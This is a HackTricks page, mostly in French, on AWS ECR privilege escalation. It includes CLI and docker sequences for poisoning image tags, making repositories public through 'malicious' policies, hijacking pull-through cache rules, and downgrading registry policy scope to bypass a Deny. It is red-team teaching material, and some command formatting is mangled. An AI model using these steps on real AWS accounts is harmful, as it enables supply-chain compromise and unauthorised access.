AWS - ECR Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Un attaquant disposant des permissions ecr:GetAuthorizationToken et ecr:BatchGetImage peut se connecter à ECR et télécharger des images.

For more info on how to download images:

AWS - ECR Post Exploitation

Impact potentiel : privesc indirect en interceptant des informations sensibles dans le trafic.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Un attaquant disposant de toutes ces permissions peut se connecter Ă  ECR et tĂ©lĂ©verser des images. Cela peut permettre d’obtenir une Ă©lĂ©vation de privilĂšges dans d’autres environnements oĂč ces images sont utilisĂ©es.

De plus, ecr:PutImage peut ĂȘtre utilisĂ© pour Ă©craser un tag existant (par exemple stable / prod) en tĂ©lĂ©versant un manifeste d’image diffĂ©rent sous ce tag, dĂ©tournant ainsi les dĂ©ploiements basĂ©s sur les tags.

Ceci est particuliÚrement impactant lorsque les consommateurs en aval déploient par tag et se mettent à jour automatiquement lors de changements de tag, comme :

  • Fonctions Lambda utilisant une image conteneur (PackageType=Image) faisant rĂ©fĂ©rence Ă  .../repo:stable
  • Services ECS / workloads Kubernetes rĂ©cupĂ©rant repo:prod (sans verrouillage par digest)
  • Tout CI/CD qui redĂ©ploie sur des Ă©vĂ©nements ECR

Dans ces cas, l’écrasement d’un tag peut conduire Ă  remote code execution dans l’environnement consommateur et Ă  une escalade de privilĂšges vers le rĂŽle IAM utilisĂ© par ce workload (par exemple, un rĂŽle d’exĂ©cution Lambda avec secretsmanager:GetSecretValue).

Pour apprendre comment téléverser une nouvelle image/mettre à jour une existante, consultez :

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Comme la section précédente, mais pour les dépÎts publics.

ecr:SetRepositoryPolicy

Un attaquant disposant de cette permission pourrait changer la politique du repository pour se donner (ou donner à tout le monde) un accÚs lecture/écriture.
Par exemple, ici l’accĂšs en lecture est accordĂ© Ă  tout le monde.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Contenu de my-policy.json:

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Comme la section précédente, mais pour les dépÎts publics.
Un attaquant peut modifier la politique du dĂ©pĂŽt d’un ECR Public pour accorder un accĂšs public non autorisĂ© ou pour Ă©lever ses privilĂšges.

# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Impact potentiel: AccĂšs public non autorisĂ© au dĂ©pĂŽt ECR Public, permettant Ă  n’importe quel utilisateur de push, pull ou supprimer des images.

ecr:PutRegistryPolicy

Un attaquant disposant de cette permission pourrait modifier la stratĂ©gie du registre pour s’accorder Ă  lui-mĂȘme, Ă  son compte (ou mĂȘme Ă  tout le monde) un accĂšs en lecture/Ă©criture.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

ecr:CreatePullThroughCacheRule

Abusez des rĂšgles ECR Pull Through Cache (PTC) pour mapper un namespace upstream contrĂŽlĂ© par un attaquant vers un prĂ©fixe ECR privĂ© de confiance. Cela permet aux workloads qui tirent depuis le ECR privĂ© de recevoir de maniĂšre transparente des images de l’attaquant sans aucun push vers le ECR privĂ©.

  • Permissions requises : ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Si vous utilisez un upstream ECR Public : ecr-public:* pour crĂ©er/pousser dans le repo public.
  • Upstream testĂ© : public.ecr.aws

Steps (example):

  1. Prepare attacker image in ECR Public

Get your ECR Public alias with: aws ecr-public describe-registries –region us-east-1

docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

  1. Create the PTC rule in private ECR to map a trusted prefix to the public registry aws ecr create-pull-through-cache-rule –region us-east-2 –ecr-repository-prefix ptc –upstream-registry-url public.ecr.aws

  2. Pull the attacker image via the private ECR path (no push to private ECR was done) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run –rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

Potential Impact: compromission de la chaĂźne d’approvisionnement en dĂ©tournant des noms d’images internes sous le prĂ©fixe choisi. Tout workload tirant des images depuis le ECR privĂ© utilisant ce prĂ©fixe recevra du contenu contrĂŽlĂ© par l’attaquant.

ecr:PutImageTagMutability

Abusez de cette permission pour basculer un repository avec immutabilitĂ© des tags vers mutable et Ă©craser des tags de confiance (e.g., latest, stable, prod) avec du contenu contrĂŽlĂ© par l’attaquant.

  • Permissions requises : ecr:PutImageTagMutability plus les capacitĂ©s de push (ecr:GetAuthorizationToken, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:CompleteLayerUpload, ecr:PutImage).
  • Impact : compromission de la chaĂźne d’approvisionnement en remplaçant silencieusement des tags immuables sans changer les noms de tags.

Steps (example):

Empoisonner un tag immuable en basculant sa mutabilité ```bash REGION=us-east-1 REPO=ht-immutable-demo-$RANDOM aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE acct=$(aws sts get-caller-identity --query Account --output text) aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com # Build and push initial trusted tag printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Attempt overwrite while IMMUTABLE (should fail) printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Flip to MUTABLE and overwrite aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Validate consumers pulling by tag now get the poisoned image (prints V2) docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod ```

Détournement global du registre via la rÚgle ROOT Pull-Through Cache

CrĂ©ez une rĂšgle Pull-Through Cache (PTC) en utilisant le paramĂštre spĂ©cial ecrRepositoryPrefix=ROOT pour mapper la racine du registre ECR privĂ© vers un registre public en amont (par ex., ECR Public). Tout pull vers un dĂ©pĂŽt inexistant dans le registre privĂ© sera servi de façon transparente depuis l’amont, permettant le supply-chain hijacking sans pousser vers le ECR privĂ©.

  • Permissions requises : ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule, ecr:GetAuthorizationToken.
  • Impact : Les pulls vers <account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag> rĂ©ussissent et crĂ©ent automatiquement des dĂ©pĂŽts privĂ©s alimentĂ©s depuis l’amont.

Remarque : Pour les rĂšgles ROOT, omettez --upstream-repository-prefix. Le fournir provoquera une erreur de validation.

Démo (us-east-1, upstream public.ecr.aws) ```bash REGION=us-east-1 ACCT=$(aws sts get-caller-identity --query Account --output text)

1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)

aws ecr create-pull-through-cache-rule
–region “$REGION”
–ecr-repository-prefix ROOT
–upstream-registry-url public.ecr.aws

2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)

aws ecr get-login-password –region “$REGION” | docker login –username AWS –password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com

Example using an official mirror path hosted in ECR Public

(public.ecr.aws/docker/library/alpine:latest)

docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest

3) Verify repo and image now exist without any push

aws ecr describe-repositories –region “$REGION”
–query “repositories[?repositoryName==docker/library/alpine]” aws ecr list-images –region “$REGION” –repository-name docker/library/alpine –filter tagStatus=TAGGED

4) Cleanup

aws ecr delete-pull-through-cache-rule –region “$REGION” –ecr-repository-prefix ROOT aws ecr delete-repository –region “$REGION” –repository-name docker/library/alpine –force || true

</details>

### `ecr:PutAccountSetting` (Rétrograder `REGISTRY_POLICY_SCOPE` to bypass registry policy Deny)

Abusez de `ecr:PutAccountSetting` pour changer la portĂ©e de la registry policy de `V2` (policy appliquĂ©e Ă  toutes les actions ECR) vers `V1` (policy appliquĂ©e seulement Ă  `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Si une registry policy restrictive effectue un Deny bloquant des actions comme `CreatePullThroughCacheRule`, la rĂ©trogradation vers `V1` supprime cette enforcement de sorte que les identity‑policy Allows prennent effet.

- Permissions requises: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Impact: Capacité à effectuer des actions ECR précédemment bloquées par un Deny de la registry policy (p.ex., créer des rÚgles PTC) en définissant temporairement la portée sur `V1`.

Étapes (exemple):

<details>
<summary>Bypass registry policy Deny on CreatePullThroughCacheRule by switching to V1</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json

# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION

# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi

# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws

# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"

# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks